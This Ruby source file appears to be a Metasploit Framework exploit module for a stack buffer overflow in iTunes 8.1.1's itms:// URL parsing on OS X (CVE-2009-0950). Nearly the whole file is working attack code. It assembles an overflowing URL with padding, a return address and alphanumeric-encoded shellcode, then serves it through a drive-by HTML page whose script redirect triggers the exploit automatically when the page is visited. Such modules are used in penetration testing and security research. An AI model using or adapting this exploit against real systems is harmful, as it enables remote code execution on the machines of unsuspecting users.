124 lines
4.2 KiB
Ruby
124 lines
4.2 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
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'Description' => %q{
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This modules exploits a stack-based buffer overflow in iTunes
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itms:// URL parsing. It is accessible from the browser and
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in Safari, itms urls will be opened in iTunes automatically.
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Because iTunes is multithreaded, only vfork-based payloads should
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be used.
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},
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'Author' => [ 'Will Drewry <redpig@dataspill.org>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', 'CVE-2009-0950'],
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['URL', 'http://support.apple.com/kb/HT3592'],
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['URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html'],
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],
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'Payload' =>
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{
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'Space' => 1024, # rough estimate of what browsers will pass.
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'DisableNops' => true, # don't pad out the space.
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'BadChars' => '',
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# The encoder must be URL-safe otherwise it will be automatically
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# URL encoded.
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX', # See the comments below
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'BufferOffset' => 3, # See the comments below
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},
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},
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'Targets' =>
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[
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[
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'OS X',
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{
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'Platform' => [ 'osx' ],
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'Arch' => ARCH_X86,
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'Addr' => 'ATe'
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},
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]
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],
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'DisclosureDate' => 'June 1, 2009',
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'DefaultTarget' => 0))
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end
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# Generate distribution script, which calls our payload using JavaScript.
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def generate_itms_page(p)
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# Set the base itms url.
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# itms:// or itmss:// can be used. The trailing colon is used
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# to start the attack. All data after the colon is copied to the
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# stack buffer.
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itms_base_url = "itms://:"
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itms_base_url << rand_text_alpha(268) # Fill up the real buffer
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itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp
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itms_base_url << target['Addr'] # hullo there, jmp *%ecx!
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# The first '/' in the buffer will terminate the copy to the stack buffer.
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# In addition, $ecx will be left pointing to the last 6 bytes of the heap
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# buffer containing the full URL. However, if a colon and a ? occur after
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# the value in ecx will point to that point in the heap buffer. In our
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# case, it will point to the beginning. The ! is there to make the
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# alphanumeric shellcode execute easily. (This is why we need an offset
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# of 3 in the payload).
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itms_base_url << "/:!?" # Truncate the stack overflow and prep for payload
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itms_base_url << p # Wooooooo! Payload time.
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# We drop on a few extra bytes as the last few bytes can sometimes be
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# corrupted.
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itms_base_url << rand_text_alpha(4)
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# Use the pattern creator to simplify exploit creation :)
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# itms_base_url << Rex::Text.pattern_create(1024,
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# Rex::Text::DefaultPatternSets)
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# Return back an example URL. Using an iframe doesn't work with all
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# browsers, but that's easy enough to fix if you need to.
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return String(<<-EOS)
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<html><head><title>iTunes loading . . .</title></head>
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<body>
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<script>document.location.assign("#{itms_base_url}");</script>
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<p>iTunes should open automatically, but if it doesn't, click to
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<a href="#{itms_base_url}">continue</a>.</p>
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</body>
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</html>
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EOS
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end
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def on_request_uri(cli, request)
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print_status("Generating payload...")
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return unless (p = regenerate_payload(cli))
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#print_status("=> #{payload.encoded}")
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print_status("=> #{payload.encoded.length} bytes")
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print_status("Generating HTML container...")
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page = generate_itms_page(payload.encoded)
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#print_status("=> #{page}")
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print_status("Sending itms page to #{cli.peerhost}:#{cli.peerport}")
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header = { 'Content-Type' => 'text/html' }
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send_response_html(cli, page, header)
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handler(cli)
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end
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end
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